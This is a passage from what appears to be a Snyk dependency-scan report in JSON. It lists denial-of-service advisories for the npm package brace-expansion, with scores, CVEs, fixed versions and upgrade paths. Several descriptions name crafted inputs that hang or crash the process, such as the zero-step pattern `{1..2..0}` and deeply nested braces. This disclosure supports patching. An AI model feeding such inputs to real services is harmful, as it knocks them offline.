{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
